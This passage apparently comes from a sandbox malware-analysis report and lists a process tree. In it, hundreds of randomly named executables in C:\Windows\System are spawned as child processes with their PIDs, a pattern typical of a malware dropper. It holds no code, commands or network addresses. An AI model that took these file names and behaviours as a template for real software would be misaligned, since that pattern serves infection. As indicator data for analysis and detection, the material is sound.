  C:\Windows\System\jREGvzX.exe
  2⤵
  PID:5532
- C:\Windows\System\ZCZwwac.exe
  C:\Windows\System\ZCZwwac.exe
  2⤵
  PID:5836
- C:\Windows\System\zdqJuEG.exe
  C:\Windows\System\zdqJuEG.exe
  2⤵
  PID:4536
- C:\Windows\System\PIbSksU.exe
  C:\Windows\System\PIbSksU.exe
  2⤵
  PID:5332
- C:\Windows\System\lAWTLxY.exe
  C:\Windows\System\lAWTLxY.exe
  2⤵
  PID:5256
- C:\Windows\System\JpmPBmX.exe
  C:\Windows\System\JpmPBmX.exe
  2⤵
  PID:5552
- C:\Windows\System\zoigefD.exe
  C:\Windows\System\zoigefD.exe
  2⤵
  PID:4388
- C:\Windows\System\huzPPkm.exe
  C:\Windows\System\huzPPkm.exe
  2⤵
  PID:5956
- C:\Windows\System\adndpvi.exe
  C:\Windows\System\adndpvi.exe
  2⤵
  PID:5652
- C:\Windows\System\KPEPXDh.exe
  C:\Windows\System\KPEPXDh.exe
  2⤵
  PID:5480
- C:\Windows\System\evbJZKQ.exe
  C:\Windows\System\evbJZKQ.exe
  2⤵
  PID:5732
- C:\Windows\System\LifJMSd.exe
  C:\Windows\System\LifJMSd.exe
  2⤵
  PID:5668
- C:\Windows\System\LQjHCdI.exe
  C:\Windows\System\LQjHCdI.exe
  2⤵
  PID:5960
- C:\Windows\System\VSaQbau.exe
  C:\Windows\System\VSaQbau.exe
  2⤵
  PID:4696
- C:\Windows\System\UHpwfvJ.exe
  C:\Windows\System\UHpwfvJ.exe
  2⤵
  PID:6080
- C:\Windows\System\LnriQpW.exe
  C:\Windows\System\LnriQpW.exe
  2⤵
  PID:5628
- C:\Windows\System\ipGNeCE.exe
  C:\Windows\System\ipGNeCE.exe
  2⤵
  PID:5992
- C:\Windows\System\vPHhNqw.exe
  C:\Windows\System\vPHhNqw.exe
  2⤵
  PID:5600
- C:\Windows\System\qIJaITZ.exe
  C:\Windows\System\qIJaITZ.exe
  2⤵
  PID:5240
- C:\Windows\System\LMrztoF.exe
  C:\Windows\System\LMrztoF.exe
  2⤵
  PID:5528
- C:\Windows\System\fExeqti.exe
  C:\Windows\System\fExeqti.exe
  2⤵
  PID:6152
- C:\Windows\System\NZAgXMs.exe
  C:\Windows\System\NZAgXMs.exe
  2⤵
  PID:6168
- C:\Windows\System\vxezmdf.exe
  C:\Windows\System\vxezmdf.exe
  2⤵
  PID:6184
- C:\Windows\System\dKOYxsU.exe
  C:\Windows\System\dKOYxsU.exe
  2⤵
  PID:6200
- C:\Windows\System\lenqSar.exe
  C:\Windows\System\lenqSar.exe
  2⤵
  PID:6216
- C:\Windows\System\SfoHGPI.exe
  C:\Windows\System\SfoHGPI.exe
  2⤵
  PID:6232
- C:\Windows\System\rdfsBky.exe
  C:\Windows\System\rdfsBky.exe
  2⤵
  PID:6248
- C:\Windows\System\PdDOqBJ.exe
  C:\Windows\System\PdDOqBJ.exe
  2⤵
  PID:6264
- C:\Windows\System\azduYxI.exe
  C:\Windows\System\azduYxI.exe
  2⤵
  PID:6280
- C:\Windows\System\LqFFMbw.exe
  C:\Windows\System\LqFFMbw.exe
  2⤵
  PID:6296
- C:\Windows\System\lYbIxCW.exe
  C:\Windows\System\lYbIxCW.exe
  2⤵
  PID:6312
- C:\Windows\System\dBFaFLB.exe
  C:\Windows\System\dBFaFLB.exe
  2⤵
  PID:6328
- C:\Windows\System\zVPeChK.exe
  C:\Windows\System\zVPeChK.exe
  2⤵
  PID:6344
- C:\Windows\System\QSgfsAW.exe
  C:\Windows\System\QSgfsAW.exe
  2⤵
  PID:6360
- C:\Windows\System\cLKMhMx.exe
  C:\Windows\System\cLKMhMx.exe
  2⤵
  PID:6380
- C:\Windows\System\csFQvYD.exe
  C:\Windows\System\csFQvYD.exe
  2⤵
  PID:6396
- C:\Windows\System\DzoxNhB.exe
  C:\Windows\System\DzoxNhB.exe
  2⤵
  PID:6412
- C:\Windows\System\LFOEDyL.exe
  C:\Windows\System\LFOEDyL.exe
  2⤵
  PID:6428
- C:\Windows\System\rzFQDKB.exe
  C:\Windows\System\rzFQDKB.exe
  2⤵
  PID:6444
- C:\Windows\System\XSuVfDZ.exe
  C:\Windows\System\XSuVfDZ.exe
  2⤵
  PID:6460
- C:\Windows\System\rjlniVD.exe
  C:\Windows\System\rjlniVD.exe
  2⤵
  PID:6476
- C:\Windows\System\VjQksMe.exe
  C:\Windows\System\VjQksMe.exe
  2⤵
  PID:6492
- C:\Windows\System\XozkQGz.exe
  C:\Windows\System\XozkQGz.exe
  2⤵
  PID:6508
- C:\Windows\System\HZAgDDK.exe
  C:\Windows\System\HZAgDDK.exe
  2⤵
  PID:6524
- C:\Windows\System\VpGpnHC.exe
  C:\Windows\System\VpGpnHC.exe
  2⤵
  PID:6540
- C:\Windows\System\jkvjFyc.exe
  C:\Windows\System\jkvjFyc.exe
  2⤵
  PID:6556
- C:\Windows\System\sDgSVMu.exe
  C:\Windows\System\sDgSVMu.exe
  2⤵
  PID:6572
- C:\Windows\System\BlBOAeR.exe
  C:\Windows\System\BlBOAeR.exe
  2⤵
  PID:6588
- C:\Windows\System\teYQIWM.exe
  C:\Windows\System\teYQIWM.exe
  2⤵
  PID:6608
- C:\Windows\System\UJfIZIY.exe
  C:\Windows\System\UJfIZIY.exe
  2⤵
  PID:6628
- C:\Windows\System\Oexxphh.exe
  C:\Windows\System\Oexxphh.exe
  2⤵
  PID:6644
- C:\Windows\System\NkJHAKJ.exe
  C:\Windows\System\NkJHAKJ.exe
  2⤵
  PID:6660
- C:\Windows\System\sYDdmzg.exe
  C:\Windows\System\sYDdmzg.exe
  2⤵
  PID:6676
- C:\Windows\System\TdcFQyi.exe
  C:\Windows\System\TdcFQyi.exe
  2⤵
  PID:6692
- C:\Windows\System\WsbRlto.exe
  C:\Windows\System\WsbRlto.exe
  2⤵
  PID:6708
- C:\Windows\System\jUdkQDx.exe
  C:\Windows\System\jUdkQDx.exe
  2⤵
  PID:6724
- C:\Windows\System\sZqfKbz.exe
  C:\Windows\System\sZqfKbz.exe
  2⤵
  PID:6740
- C:\Windows\System\kdiMGEw.exe
  C:\Windows\System\kdiMGEw.exe
  2⤵
  PID:6756
- C:\Windows\System\xJQjbRb.exe
  C:\Windows\System\xJQjbRb.exe
  2⤵
  PID:6772
- C:\Windows\System\hbAKWMU.exe
  C:\Windows\System\hbAKWMU.exe
  2⤵
  PID:6788
- C:\Windows\System\zqJkAUs.exe
  C:\Windows\System\zqJkAUs.exe
  2⤵
  PID:6804
- C:\Windows\System\QFHRNCc.exe
  C:\Windows\System\QFHRNCc.exe
  2⤵
  PID:6820
- C:\Windows\System\ztUxFXy.exe
  C:\Windows\System\ztUxFXy.exe
  2⤵
  PID:6836
- C:\Windows\System\ZKymlhg.exe
  C:\Windows\System\ZKymlhg.exe
  2⤵
  PID:6852
- C:\Windows\System\LTFcBhe.exe
  C:\Windows\System\LTFcBhe.exe
  2⤵
  PID:6868
- C:\Windows\System\SOQKRnb.exe
  C:\Windows\System\SOQKRnb.exe
  2⤵
  PID:6884
- C:\Windows\System\ZQBXvwo.exe
  C:\Windows\System\ZQBXvwo.exe
  2⤵
  PID:6900
- C:\Windows\System\tNQQLZC.exe
  C:\Windows\System\tNQQLZC.exe
  2⤵
  PID:6916
- C:\Windows\System\wjuComN.exe
  C:\Windows\System\wjuComN.exe
  2⤵
  PID:6932
- C:\Windows\System\AkGtGti.exe
  C:\Windows\System\AkGtGti.exe
  2⤵
  PID:6948
- C:\Windows\System\ohiSvTg.exe
  C:\Windows\System\ohiSvTg.exe
  2⤵
  PID:6964
- C:\Windows\System\BACNdgY.exe
  C:\Windows\System\BACNdgY.exe
  2⤵
  PID:6980
- C:\Windows\System\hvDIIKH.exe
  C:\Windows\System\hvDIIKH.exe
  2⤵
  PID:6996
- C:\Windows\System\GCvAORm.exe
  C:\Windows\System\GCvAORm.exe
  2⤵
  PID:7012
- C:\Windows\System\kSoSVQO.exe
  C:\Windows\System\kSoSVQO.exe
  2⤵
  PID:7028
- C:\Windows\System\AOTiVzJ.exe
  C:\Windows\System\AOTiVzJ.exe
  2⤵
  PID:7044
- C:\Windows\System\DLXfDLl.exe
  C:\Windows\System\DLXfDLl.exe
  2⤵
  PID:7060
- C:\Windows\System\EshQkHC.exe
  C:\Windows\System\EshQkHC.exe
  2⤵
  PID:7080
- C:\Windows\System\APhFSbw.exe
  C:\Windows\System\APhFSbw.exe
  2⤵
  PID:7096
- C:\Windows\System\HmNPOvw.exe
  C:\Windows\System\HmNPOvw.exe
  2⤵
  PID:7112
- C:\Windows\System\gqvXonC.exe
  C:\Windows\System\gqvXonC.exe
  2⤵
  PID:7128
- C:\Windows\System\CKKqaJy.exe
  C:\Windows\System\CKKqaJy.exe
  2⤵
  PID:7144
- C:\Windows\System\MxNbvhX.exe
  C:\Windows\System\MxNbvhX.exe
  2⤵
  PID:7160
- C:\Windows\System\VPTjHzQ.exe
  C:\Windows\System\VPTjHzQ.exe
  2⤵
  PID:6192
- C:\Windows\System\SKXwNAi.exe
  C:\Windows\System\SKXwNAi.exe
  2⤵
  PID:6256
- C:\Windows\System\WxgkAJC.exe
  C:\Windows\System\WxgkAJC.exe
  2⤵
  PID:6320
- C:\Windows\System\QWcjdaI.exe
  C:\Windows\System\QWcjdaI.exe
  2⤵
  PID:6388
- C:\Windows\System\mXoCDjr.exe
  C:\Windows\System\mXoCDjr.exe
  2⤵
  PID:6452
- C:\Windows\System\WAMJTuX.exe
  C:\Windows\System\WAMJTuX.exe
  2⤵
  PID:6484
- C:\Windows\System\GMyeoPV.exe
  C:\Windows\System\GMyeoPV.exe
  2⤵
  PID:5944
- C:\Windows\System\wZZPujf.exe
  C:\Windows\System\wZZPujf.exe
  2⤵
  PID:6308
- C:\Windows\System\isDDjKr.exe
  C:\Windows\System\isDDjKr.exe
  2⤵
  PID:6276
- C:\Windows\System\WskTYLa.exe
  C:\Windows\System\WskTYLa.exe
  2⤵
  PID:6472
- C:\Windows\System\LosuMUa.exe
  C:\Windows\System\LosuMUa.exe
  2⤵
  PID:6272
- C:\Windows\System\ggciNHw.exe
  C:\Windows\System\ggciNHw.exe
  2⤵
  PID:6408
- C:\Windows\System\LvvoWxi.exe
  C:\Windows\System\LvvoWxi.exe
  2⤵
  PID:6500
- C:\Windows\System\YWCuuTs.exe
  C:\Windows\System\YWCuuTs.exe
  2⤵
  PID:6568
- C:\Windows\System\jquSPBs.exe
  C:\Windows\System\jquSPBs.exe
  2⤵
  PID:6584
- C:\Windows\System\moiDDTJ.exe
  C:\Windows\System\moiDDTJ.exe
  2⤵
  PID:6652
- C:\Windows\System\BbJOSvm.exe
  C:\Windows\System\BbJOSvm.exe
  2⤵
  PID:5740
- C:\Windows\System\nFxZwBL.exe
  C:\Windows\System\nFxZwBL.exe
  2⤵
  PID:6636
- C:\Windows\System\MYZuUee.exe
  C:\Windows\System\MYZuUee.exe
  2⤵
  PID:6748
- C:\Windows\System\uAvMGyt.exe
  C:\Windows\System\uAvMGyt.exe
  2⤵
  PID:6812
- C:\Windows\System\WMoWxbf.exe
  C:\Windows\System\WMoWxbf.exe
  2⤵
  PID:6700
- C:\Windows\System\dSypavY.exe
  C:\Windows\System\dSypavY.exe
  2⤵
  PID:6876
- C:\Windows\System\hEroscT.exe
  C:\Windows\System\hEroscT.exe
  2⤵
  PID:6908
- C:\Windows\System\ATEgkNl.exe
  C:\Windows\System\ATEgkNl.exe
  2⤵
  PID:6768
- C:\Windows\System\pdarTFB.exe
  C:\Windows\System\pdarTFB.exe
  2⤵
  PID:6912
- C:\Windows\System\TXaBcWc.exe
  C:\Windows\System\TXaBcWc.exe
  2⤵
  PID:6944
- C:\Windows\System\HYkjLde.exe
  C:\Windows\System\HYkjLde.exe
  2⤵
  PID:6928
- C:\Windows\System\IwMvVLa.exe
  C:\Windows\System\IwMvVLa.exe
  2⤵
  PID:7072
- C:\Windows\System\NeUgPXl.exe
  C:\Windows\System\NeUgPXl.exe
  2⤵
  PID:7052
- C:\Windows\System\EmzfwzY.exe
  C:\Windows\System\EmzfwzY.exe
  2⤵
  PID:7140
- C:\Windows\System\gEozRMo.exe
  C:\Windows\System\gEozRMo.exe
  2⤵
  PID:6420
- C:\Windows\System\oGCYBWx.exe
  C:\Windows\System\oGCYBWx.exe
  2⤵
  PID:6176
- C:\Windows\System\nJMvnfJ.exe
  C:\Windows\System\nJMvnfJ.exe
  2⤵
  PID:7020
- C:\Windows\System\DIWQzSi.exe
  C:\Windows\System\DIWQzSi.exe
  2⤵
  PID:6212
- C:\Windows\System\KFMJRAk.exe
  C:\Windows\System\KFMJRAk.exe
  2⤵
  PID:7088
- C:\Windows\System\tpvbbWc.exe
  C:\Windows\System\tpvbbWc.exe
  2⤵
  PID:6456
- C:\Windows\System\WaqmtvM.exe
  C:\Windows\System\WaqmtvM.exe
  2⤵
  PID:7156
- C:\Windows\System\gEkqLVY.exe
  C:\Windows\System\gEkqLVY.exe
  2⤵
  PID:6684
- C:\Windows\System\UDFLFmj.exe
  C:\Windows\System\UDFLFmj.exe
  2⤵
  PID:6548
- C:\Windows\System\gCxpEed.exe
  C:\Windows\System\gCxpEed.exe
  2⤵
  PID:6532
- C:\Windows\System\llPZuNB.exe
  C:\Windows\System\llPZuNB.exe
  2⤵
  PID:6604
- C:\Windows\System\CgLsPzf.exe
  C:\Windows\System\CgLsPzf.exe
  2⤵
  PID:6828
- C:\Windows\System\JNjLjSU.exe
  C:\Windows\System\JNjLjSU.exe
  2⤵
  PID:6976
- C:\Windows\System\uWJHaKp.exe
  C:\Windows\System\uWJHaKp.exe
  2⤵
  PID:7108
- C:\Windows\System\TGUVsbi.exe
  C:\Windows\System\TGUVsbi.exe
  2⤵
  PID:6960
- C:\Windows\System\eYCSzDP.exe
  C:\Windows\System\eYCSzDP.exe
  2⤵
  PID:7152
- C:\Windows\System\GJAfrgo.exe
  C:\Windows\System\GJAfrgo.exe
  2⤵
  PID:6012
- C:\Windows\System\EPtrLFC.exe
  C:\Windows\System\EPtrLFC.exe
  2⤵
  PID:6864
- C:\Windows\System\BBwFAPi.exe
  C:\Windows\System\BBwFAPi.exe
  2⤵
  PID:6940
- C:\Windows\System\VbFvdOF.exe
  C:\Windows\System\VbFvdOF.exe
  2⤵
  PID:6780
- C:\Windows\System\jXIhfil.exe
  C:\Windows\System\jXIhfil.exe
  2⤵
  PID:6924
- C:\Windows\System\dhSAJTL.exe
  C:\Windows\System\dhSAJTL.exe
  2⤵
  PID:6720
- C:\Windows\System\yKPhzKa.exe
  C:\Windows\System\yKPhzKa.exe
  2⤵
  PID:7024
- C:\Windows\System\WshCdbZ.exe
  C:\Windows\System\WshCdbZ.exe
  2⤵
  PID:6356
- C:\Windows\System\lcHkSLc.exe
  C:\Windows\System\lcHkSLc.exe
  2⤵
  PID:6516
- C:\Windows\System\DOQxYwJ.exe
  C:\Windows\System\DOQxYwJ.exe
  2⤵
  PID:7068
- C:\Windows\System\YlsyEyq.exe
  C:\Windows\System\YlsyEyq.exe
  2⤵
  PID:6228
- C:\Windows\System\vuxCjUO.exe
  C:\Windows\System\vuxCjUO.exe
  2⤵
  PID:7184
- C:\Windows\System\cSfBwdC.exe
  C:\Windows\System\cSfBwdC.exe
  2⤵
  PID:7200
- C:\Windows\System\IRpKWwo.exe
  C:\Windows\System\IRpKWwo.exe
  2⤵
  PID:7216
- C:\Windows\System\EdJaOvz.exe
  C:\Windows\System\EdJaOvz.exe
  2⤵
  PID:7236
- C:\Windows\System\ESUtyYC.exe
  C:\Windows\System\ESUtyYC.exe
  2⤵
  PID:7252
- C:\Windows\System\nsRvkSh.exe
  C:\Windows\System\nsRvkSh.exe
  2⤵
  PID:7268
- C:\Windows\System\aHbrodt.exe
  C:\Windows\System\aHbrodt.exe
  2⤵
  PID:7284
- C:\Windows\System\XlCDbvl.exe
  C:\Windows\System\XlCDbvl.exe
  2⤵
  PID:7300
- C:\Windows\System\RoIFQPL.exe
  C:\Windows\System\RoIFQPL.exe
  2⤵
  PID:7316
- C:\Windows\System\sVDXdwE.exe
  C:\Windows\System\sVDXdwE.exe
  2⤵
  PID:7332
- C:\Windows\System\YbWTZrA.exe
  C:\Windows\System\YbWTZrA.exe
  2⤵
  PID:7348
- C:\Windows\System\zRnCrpy.exe
  C:\Windows\System\zRnCrpy.exe
  2⤵
  PID:7392
- C:\Windows\System\WATFFmN.exe
  C:\Windows\System\WATFFmN.exe
  2⤵
  PID:7408
- C:\Windows\System\inVNYfN.exe
  C:\Windows\System\inVNYfN.exe
  2⤵
  PID:7424
- C:\Windows\System\NTxRldY.exe
  C:\Windows\System\NTxRldY.exe
  2⤵
  PID:7440
- C:\Windows\System\PZcoKgr.exe
  C:\Windows\System\PZcoKgr.exe
  2⤵
  PID:7456
- C:\Windows\System\rrtmXTd.exe
  C:\Windows\System\rrtmXTd.exe
  2⤵
  PID:7472
- C:\Windows\System\IKBVwvw.exe
  C:\Windows\System\IKBVwvw.exe
  2⤵
  PID:7488
- C:\Windows\System\WWRYygI.exe
  C:\Windows\System\WWRYygI.exe
  2⤵
  PID:7504
- C:\Windows\System\deOoqHu.exe
  C:\Windows\System\deOoqHu.exe
  2⤵
  PID:7520
- C:\Windows\System\AudtDho.exe
  C:\Windows\System\AudtDho.exe
  2⤵
  PID:7536
- C:\Windows\System\AAnAfnn.exe
  C:\Windows\System\AAnAfnn.exe
  2⤵
  PID:7552
- C:\Windows\System\qGQYlEh.exe
  C:\Windows\System\qGQYlEh.exe
  2⤵
  PID:7568
- C:\Windows\System\pYhzXzv.exe
  C:\Windows\System\pYhzXzv.exe
  2⤵
  PID:7584
- C:\Windows\System\sPJLusK.exe
  C:\Windows\System\sPJLusK.exe
  2⤵
  PID:7600
- C:\Windows\System\moSNHNl.exe
  C:\Windows\System\moSNHNl.exe
  2⤵
  PID:7616
- C:\Windows\System\UPZjqeL.exe
  C:\Windows\System\UPZjqeL.exe
  2⤵
  PID:7632
- C:\Windows\System\WTQomzp.exe
  C:\Windows\System\WTQomzp.exe
  2⤵
  PID:7648
- C:\Windows\System\acbPHao.exe
  C:\Windows\System\acbPHao.exe
  2⤵
  PID:7664
- C:\Windows\System\zfnIhZf.exe
  C:\Windows\System\zfnIhZf.exe
  2⤵
  PID:7680
- C:\Windows\System\KMyuKqU.exe
  C:\Windows\System\KMyuKqU.exe
  2⤵
  PID:7696
- C:\Windows\System\nTBdYEN.exe
  C:\Windows\System\nTBdYEN.exe
  2⤵
  PID:7716
- C:\Windows\System\brfGwgN.exe
  C:\Windows\System\brfGwgN.exe
  2⤵
  PID:7732
- C:\Windows\System\XxHStLc.exe
  C:\Windows\System\XxHStLc.exe
  2⤵
  PID:7748
- C:\Windows\System\LcssFWn.exe
  C:\Windows\System\LcssFWn.exe
  2⤵
  PID:7764
- C:\Windows\System\nbZMJTh.exe
  C:\Windows\System\nbZMJTh.exe
  2⤵
  PID:7780
- C:\Windows\System\rlKTyZD.exe
  C:\Windows\System\rlKTyZD.exe
  2⤵
  PID:7796
- C:\Windows\System\jFBpVFD.exe
  C:\Windows\System\jFBpVFD.exe
  2⤵
  PID:7820
- C:\Windows\System\baJoAWd.exe
  C:\Windows\System\baJoAWd.exe
  2⤵
  PID:7840
- C:\Windows\System\UQEDjFk.exe
  C:\Windows\System\UQEDjFk.exe
  2⤵
  PID:7856
- C:\Windows\System\AkMOLvt.exe
  C:\Windows\System\AkMOLvt.exe
  2⤵
  PID:7876
- C:\Windows\System\LySGWpG.exe
  C:\Windows\System\LySGWpG.exe
  2⤵
  PID:7900
- C:\Windows\System\fFPIpgH.exe
  C:\Windows\System\fFPIpgH.exe
  2⤵
  PID:7916
- C:\Windows\System\mYYpZXf.exe
  C:\Windows\System\mYYpZXf.exe
  2⤵
  PID:7936
- C:\Windows\System\UerFdIT.exe
  C:\Windows\System\UerFdIT.exe
  2⤵
  PID:7952
- C:\Windows\System\wIvWFJU.exe
  C:\Windows\System\wIvWFJU.exe
  2⤵
  PID:7968
- C:\Windows\System\wvwpDNO.exe
  C:\Windows\System\wvwpDNO.exe
  2⤵
  PID:7984
- C:\Windows\System\NNqzYTo.exe
  C:\Windows\System\NNqzYTo.exe
  2⤵
  PID:8000
- C:\Windows\System\NKXSyoF.exe
  C:\Windows\System\NKXSyoF.exe
  2⤵
  PID:8016
- C:\Windows\System\zaZHAVU.exe
  C:\Windows\System\zaZHAVU.exe
  2⤵
  PID:8032
- C:\Windows\System\wVSVMVu.exe
  C:\Windows\System\wVSVMVu.exe
  2⤵
  PID:8048
- C:\Windows\System\GAVKOgR.exe
  C:\Windows\System\GAVKOgR.exe
  2⤵
  PID:8064
- C:\Windows\System\UHUfDVn.exe
  C:\Windows\System\UHUfDVn.exe
  2⤵
  PID:8080
- C:\Windows\System\RLLjVqW.exe
  C:\Windows\System\RLLjVqW.exe
  2⤵
  PID:8096
- C:\Windows\System\JgklCSx.exe
  C:\Windows\System\JgklCSx.exe
  2⤵
  PID:8112
- C:\Windows\System\xANydBo.exe
  C:\Windows\System\xANydBo.exe
  2⤵
  PID:8128
- C:\Windows\System\GYOtocW.exe
  C:\Windows\System\GYOtocW.exe
  2⤵
  PID:8144
- C:\Windows\System\gnhXOrF.exe
  C:\Windows\System\gnhXOrF.exe
  2⤵
  PID:8160
- C:\Windows\System\dvCOgUo.exe
  C:\Windows\System\dvCOgUo.exe
  2⤵
  PID:8176
- C:\Windows\System\VhaSjWI.exe
  C:\Windows\System\VhaSjWI.exe
  2⤵
  PID:7004
- C:\Windows\System\nPGoaox.exe
  C:\Windows\System\nPGoaox.exe
  2⤵
  PID:6404
- C:\Windows\System\zcuUTSk.exe
  C:\Windows\System\zcuUTSk.exe
  2⤵
  PID:6896
- C:\Windows\System\fDeuKXT.exe
  C:\Windows\System\fDeuKXT.exe
  2⤵
  PID:7224
- C:\Windows\System\XSNzAtq.exe
  C:\Windows\System\XSNzAtq.exe
  2⤵
  PID:7264
- C:\Windows\System\FKGGHnw.exe
  C:\Windows\System\FKGGHnw.exe
  2⤵
  PID:6764
- C:\Windows\System\pJjwTvK.exe
  C:\Windows\System\pJjwTvK.exe
  2⤵
  PID:6244
- C:\Windows\System\LOVDTuX.exe
  C:\Windows\System\LOVDTuX.exe
  2⤵
  PID:7212
- C:\Windows\System\CMzGSbZ.exe
  C:\Windows\System\CMzGSbZ.exe
  2⤵
  PID:7292
- C:\Windows\System\gIWiWmw.exe
  C:\Windows\System\gIWiWmw.exe
  2⤵
  PID:7280
- C:\Windows\System\kEwbfTS.exe
  C:\Windows\System\kEwbfTS.exe
  2⤵
  PID:7344
- C:\Windows\System\CGsktUQ.exe
  C:\Windows\System\CGsktUQ.exe
  2⤵
  PID:7380
- C:\Windows\System\LBWHITJ.exe
  C:\Windows\System\LBWHITJ.exe
  2⤵
  PID:7448
- C:\Windows\System\OnmjlUz.exe
  C:\Windows\System\OnmjlUz.exe
  2⤵
  PID:7484
- C:\Windows\System\frMnKyX.exe
  C:\Windows\System\frMnKyX.exe
  2⤵
  PID:7548
- C:\Windows\System\sqYjLZh.exe
  C:\Windows\System\sqYjLZh.exe
  2⤵
  PID:7612
- C:\Windows\System\KzlcaVu.exe
  C:\Windows\System\KzlcaVu.exe
  2⤵
  PID:7672
- C:\Windows\System\qjxwHTt.exe
  C:\Windows\System\qjxwHTt.exe
  2⤵
  PID:7992
- C:\Windows\System\plIosQP.exe
  C:\Windows\System\plIosQP.exe
  2⤵
  PID:8060
- C:\Windows\System\UkPUoCa.exe
  C:\Windows\System\UkPUoCa.exe
  2⤵
  PID:8120
- C:\Windows\System\cVdUryR.exe
  C:\Windows\System\cVdUryR.exe
  2⤵
  PID:8184
- C:\Windows\System\ZCULxqr.exe
  C:\Windows\System\ZCULxqr.exe
  2⤵
  PID:6688
- C:\Windows\System\rREWDxe.exe
  C:\Windows\System\rREWDxe.exe
  2⤵
  PID:7308
- C:\Windows\System\EjzeRmn.exe
  C:\Windows\System\EjzeRmn.exe
  2⤵
  PID:7416
- C:\Windows\System\VGMimfX.exe
  C:\Windows\System\VGMimfX.exe
  2⤵
  PID:7676
- C:\Windows\System\ItRkpAr.exe
  C:\Windows\System\ItRkpAr.exe
  2⤵
  PID:7432
- C:\Windows\System\otEbJNV.exe
  C:\Windows\System\otEbJNV.exe
  2⤵
  PID:7404
- C:\Windows\System\bBnuNjt.exe
  C:\Windows\System\bBnuNjt.exe
  2⤵
  PID:7496
- C:\Windows\System\JsuQNIS.exe
  C:\Windows\System\JsuQNIS.exe
  2⤵
  PID:7560
- C:\Windows\System\OqXCjaJ.exe
  C:\Windows\System\OqXCjaJ.exe
  2⤵
  PID:7624
- C:\Windows\System\NERpezB.exe
  C:\Windows\System\NERpezB.exe
  2⤵
  PID:7692
- C:\Windows\System\GlfnMnz.exe
  C:\Windows\System\GlfnMnz.exe
  2⤵
  PID:7760
- C:\Windows\System\DKyoCRk.exe
  C:\Windows\System\DKyoCRk.exe
  2⤵
  PID:7832
- C:\Windows\System\KxIFlxh.exe
  C:\Windows\System\KxIFlxh.exe
  2⤵
  PID:7908
- C:\Windows\System\BMefqSs.exe
  C:\Windows\System\BMefqSs.exe
  2⤵
  PID:8012
- C:\Windows\System\xdLNQnq.exe
  C:\Windows\System\xdLNQnq.exe
  2⤵
  PID:8136
- C:\Windows\System\crsnHLw.exe
  C:\Windows\System\crsnHLw.exe
  2⤵
  PID:6288
- C:\Windows\System\HPDlTdC.exe
  C:\Windows\System\HPDlTdC.exe
  2⤵
  PID:6624
- C:\Windows\System\lmgyRcP.exe
  C:\Windows\System\lmgyRcP.exe
  2⤵
  PID:7324
- C:\Windows\System\eaAIvSX.exe
  C:\Windows\System\eaAIvSX.exe
  2⤵
  PID:7372
- C:\Windows\System\WwAtqSC.exe
  C:\Windows\System\WwAtqSC.exe
  2⤵
  PID:7740
- C:\Windows\System\sOyOYrY.exe
  C:\Windows\System\sOyOYrY.exe
  2⤵
  PID:7808
- C:\Windows\System\pduYDDn.exe
  C:\Windows\System\pduYDDn.exe
  2⤵
  PID:7848
- C:\Windows\System\rTbqbQV.exe
  C:\Windows\System\rTbqbQV.exe
  2⤵
  PID:7976
- C:\Windows\System\cprLQcZ.exe
  C:\Windows\System\cprLQcZ.exe
  2⤵
  PID:7180
- C:\Windows\System\dKnkaQX.exe
  C:\Windows\System\dKnkaQX.exe
  2⤵
  PID:8088
- C:\Windows\System\gISpJcB.exe
  C:\Windows\System\gISpJcB.exe
  2⤵
  PID:7376
- C:\Windows\System\QvbOdyg.exe
  C:\Windows\System\QvbOdyg.exe
  2⤵
  PID:7596
- C:\Windows\System\fuNZzoe.exe
  C:\Windows\System\fuNZzoe.exe
  2⤵
  PID:7384
- C:\Windows\System\nqFAQoo.exe
  C:\Windows\System\nqFAQoo.exe
  2⤵
  PID:7964
- C:\Windows\System\qPeUugz.exe
  C:\Windows\System\qPeUugz.exe
  2⤵
  PID:8156
- C:\Windows\System\xFVbxPw.exe
  C:\Windows\System\xFVbxPw.exe
  2⤵
  PID:7644
- C:\Windows\System\DpBhDNJ.exe
  C:\Windows\System\DpBhDNJ.exe
  2⤵
  PID:7528
- C:\Windows\System\mxlZwFj.exe
  C:\Windows\System\mxlZwFj.exe
  2⤵
  PID:7792
- C:\Windows\System\CUKQgGp.exe
  C:\Windows\System\CUKQgGp.exe
  2⤵
  PID:8008
- C:\Windows\System\pLPuPKp.exe
  C:\Windows\System\pLPuPKp.exe
  2⤵
  PID:7232
- C:\Windows\System\WWXkfbk.exe
  C:\Windows\System\WWXkfbk.exe
  2⤵
  PID:7756
- C:\Windows\System\NZtAjRA.exe
  C:\Windows\System\NZtAjRA.exe
  2⤵
  PID:8072
- C:\Windows\System\LPyXZRr.exe
  C:\Windows\System\LPyXZRr.exe
  2⤵
  PID:8044
- C:\Windows\System\OxVIgFb.exe
  C:\Windows\System\OxVIgFb.exe
  2⤵
  PID:7124
- C:\Windows\System\sxRDckU.exe
  C:\Windows\System\sxRDckU.exe
  2⤵
  PID:7580
- C:\Windows\System\xiluPhy.exe
  C:\Windows\System\xiluPhy.exe
  2⤵
  PID:7776
- C:\Windows\System\iMjPYGg.exe
  C:\Windows\System\iMjPYGg.exe
  2⤵
  PID:7892
- C:\Windows\System\TAmXElM.exe
  C:\Windows\System\TAmXElM.exe
  2⤵
  PID:7932
- C:\Windows\System\YNrFTaz.exe
  C:\Windows\System\YNrFTaz.exe
  2⤵
  PID:7828
- C:\Windows\System\jJbiVmU.exe
  C:\Windows\System\jJbiVmU.exe
  2⤵
  PID:7276
- C:\Windows\System\sTazWJb.exe
  C:\Windows\System\sTazWJb.exe
  2⤵
  PID:7608
- C:\Windows\System\FEqYAJu.exe
  C:\Windows\System\FEqYAJu.exe
  2⤵
  PID:7928
- C:\Windows\System\RGqzVcf.exe
  C:\Windows\System\RGqzVcf.exe
  2⤵
  PID:7544
- C:\Windows\System\EWFLdxp.exe
  C:\Windows\System\EWFLdxp.exe
  2⤵
  PID:7468
- C:\Windows\System\rllZZPm.exe
  C:\Windows\System\rllZZPm.exe
  2⤵
  PID:7872
- C:\Windows\System\RiBPxcY.exe
  C:\Windows\System\RiBPxcY.exe
  2⤵
  PID:7360
- C:\Windows\System\ukzUZdo.exe
  C:\Windows\System\ukzUZdo.exe
  2⤵
  PID:8172
- C:\Windows\System\fsXDDMU.exe
  C:\Windows\System\fsXDDMU.exe
  2⤵
  PID:8208
- C:\Windows\System\sbULfti.exe
  C:\Windows\System\sbULfti.exe
  2⤵
  PID:8228
- C:\Windows\System\LlyqpGm.exe
  C:\Windows\System\LlyqpGm.exe
  2⤵
  PID:8244
- C:\Windows\System\fAhDpob.exe
  C:\Windows\System\fAhDpob.exe
  2⤵
  PID:8260
